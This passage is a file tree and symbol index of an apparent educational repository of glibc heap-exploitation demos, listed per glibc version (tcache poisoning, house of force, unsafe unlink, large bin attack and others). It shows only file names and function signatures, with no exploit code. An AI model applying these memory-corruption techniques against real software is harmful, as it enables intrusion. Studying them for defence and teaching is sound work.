│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── house_of_tangerine.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_stashing_unlink_attack.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.31/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.32/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.33/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_io.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.34/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.35/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.36/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.37/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.38/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.39/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.40/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ ├── tcache_stashing_unlink_attack.c
│ └── unsafe_unlink.c
├── glibc_2.41/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ ├── tcache_relative_write.c
│ └── unsafe_unlink.c
├── glibc_2.42/
│ ├── decrypt_safe_linking.c
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
│ ├── house_of_botcake.c
│ ├── house_of_einherjar.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_spirit.c
│ ├── house_of_tangerine.c
│ ├── house_of_water.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── poison_null_byte.c
│ ├── safe_link_double_protect.c
│ ├── sysmalloc_int_free.c
│ ├── tcache_house_of_spirit.c
│ ├── tcache_metadata_hijacking.c
│ ├── tcache_metadata_poisoning.c
│ ├── tcache_poisoning.c
│ └── unsafe_unlink.c
├── glibc_ChangeLog.md
├── glibc_run.sh
├── malloc_playground.c
└── obsolete/
└── glibc_2.27/
└── tcache_dup.c
SYMBOL INDEX (423 symbols across 354 files)
FILE: calc_tcache_idx.c
type malloc_chunk (line 7) | struct malloc_chunk {
function main (line 47) | int main()
FILE: first_fit.c
function main (line 5) | int main()
FILE: glibc_2.23/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.23/fastbin_dup_consolidate.c
function main (line 29) | int main() {
FILE: glibc_2.23/fastbin_dup_into_stack.c
function main (line 4) | int main()
FILE: glibc_2.23/house_of_einherjar.c
function main (line 13) | int main()
FILE: glibc_2.23/house_of_force.c
function main (line 23) | int main(int argc , char* argv[])
FILE: glibc_2.23/house_of_gods.c
function main (line 57) | int main(void) {
FILE: glibc_2.23/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.23/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.23/house_of_orange.c
function main (line 20) | int main()
function winner (line 267) | int winner(char *ptr)
FILE: glibc_2.23/house_of_roman.c
function main (line 26) | int main(){
FILE: glibc_2.23/house_of_spirit.c
function main (line 4) | int main()
FILE: glibc_2.23/house_of_storm.c
function init (line 31) | void init(){
function get_shift_amount (line 39) | int get_shift_amount(char* pointer){
function main (line 52) | int main(){
FILE: glibc_2.23/large_bin_attack.c
function main (line 36) | int main()
FILE: glibc_2.23/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.23/overlapping_chunks.c
function main (line 14) | int main(int argc , char* argv[]){
FILE: glibc_2.23/overlapping_chunks_2.c
function main (line 17) | int main(){
FILE: glibc_2.23/poison_null_byte.c
function main (line 9) | int main()
FILE: glibc_2.23/sysmalloc_int_free.c
function main (line 39) | int main() {
FILE: glibc_2.23/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.23/unsorted_bin_attack.c
function main (line 4) | int main(){
FILE: glibc_2.23/unsorted_bin_into_stack.c
function jackpot (line 7) | void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
function main (line 9) | int main() {
FILE: glibc_2.24/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.24/fastbin_dup_consolidate.c
function main (line 29) | int main() {
FILE: glibc_2.24/fastbin_dup_into_stack.c
function main (line 4) | int main()
FILE: glibc_2.24/house_of_einherjar.c
function main (line 13) | int main()
FILE: glibc_2.24/house_of_force.c
function main (line 23) | int main(int argc , char* argv[])
FILE: glibc_2.24/house_of_gods.c
function main (line 57) | int main(void) {
FILE: glibc_2.24/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.24/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.24/house_of_roman.c
function main (line 26) | int main(){
FILE: glibc_2.24/house_of_spirit.c
function main (line 4) | int main()
FILE: glibc_2.24/house_of_storm.c
function init (line 31) | void init(){
function get_shift_amount (line 39) | int get_shift_amount(char* pointer){
function main (line 52) | int main(){
FILE: glibc_2.24/large_bin_attack.c
function main (line 36) | int main()
FILE: glibc_2.24/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.24/overlapping_chunks.c
function main (line 14) | int main(int argc , char* argv[]){
FILE: glibc_2.24/overlapping_chunks_2.c
function main (line 17) | int main(){
FILE: glibc_2.24/poison_null_byte.c
function main (line 9) | int main()
FILE: glibc_2.24/sysmalloc_int_free.c
function main (line 39) | int main() {
FILE: glibc_2.24/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.24/unsorted_bin_attack.c
function main (line 4) | int main(){
FILE: glibc_2.24/unsorted_bin_into_stack.c
function jackpot (line 7) | void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
function main (line 9) | int main() {
FILE: glibc_2.27/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.27/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.27/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.27/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.27/house_of_botcake.c
function main (line 7) | int main()
FILE: glibc_2.27/house_of_einherjar.c
function main (line 14) | int main()
FILE: glibc_2.27/house_of_force.c
function main (line 23) | int main(int argc , char* argv[])
FILE: glibc_2.27/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.27/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.27/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.27/house_of_storm.c
function init (line 36) | void init(){
function get_shift_amount (line 44) | int get_shift_amount(char* pointer){
function main (line 57) | int main(){
FILE: glibc_2.27/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.27/large_bin_attack.c
function main (line 36) | int main()
FILE: glibc_2.27/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.27/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.27/poison_null_byte.c
function main (line 9) | int main()
FILE: glibc_2.27/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.27/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.27/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.27/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.27/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.27/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.27/unsorted_bin_attack.c
function main (line 5) | int main(){
FILE: glibc_2.27/unsorted_bin_into_stack.c
function jackpot (line 7) | void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
function main (line 9) | int main() {
FILE: glibc_2.31/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.31/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.31/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.31/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.31/house_of_botcake.c
function main (line 7) | int main()
FILE: glibc_2.31/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.31/house_of_io.c
type overlay (line 32) | struct overlay {
type tcache_perthread_struct (line 37) | struct tcache_perthread_struct {
function main (line 42) | int main() {
FILE: glibc_2.31/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.31/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.31/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.31/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.31/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.31/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.31/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.31/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.31/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.31/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.31/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.31/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.31/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.31/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.31/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.32/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.32/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.32/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.32/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.32/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.32/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.32/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.32/house_of_io.c
type overlay (line 32) | struct overlay {
type tcache_perthread_struct (line 37) | struct tcache_perthread_struct {
function main (line 42) | int main() {
FILE: glibc_2.32/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.32/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.32/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.32/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.32/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.32/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.32/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.32/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.32/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.32/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.32/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.32/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.32/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.32/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.32/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.32/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.32/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.33/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.33/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.33/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.33/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.33/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.33/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.33/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.33/house_of_io.c
type overlay (line 32) | struct overlay {
type tcache_perthread_struct (line 37) | struct tcache_perthread_struct {
function main (line 42) | int main() {
FILE: glibc_2.33/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.33/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.33/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.33/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.33/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.33/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.33/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.33/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.33/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.33/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.33/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.33/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.33/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.33/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.33/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.33/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.33/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.34/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.34/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.34/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.34/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.34/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.34/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.34/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.34/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.34/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.34/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.34/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.34/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.34/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.34/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.34/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.34/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.34/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.34/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.34/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.34/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.34/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.34/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.34/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.34/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.35/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.35/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.35/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.35/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.35/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.35/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.35/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.35/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.35/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.35/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.35/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.35/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.35/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.35/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.35/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.35/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.35/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.35/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.35/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.35/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.35/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.35/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.35/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.35/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.36/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.36/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.36/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.36/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.36/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.36/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.36/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.36/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.36/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.36/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.36/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.36/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.36/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.36/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.36/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.36/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.36/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.36/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.36/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.36/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.36/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.36/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.36/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.36/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.37/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.37/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.37/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.37/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.37/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.37/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.37/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.37/house_of_lore.c
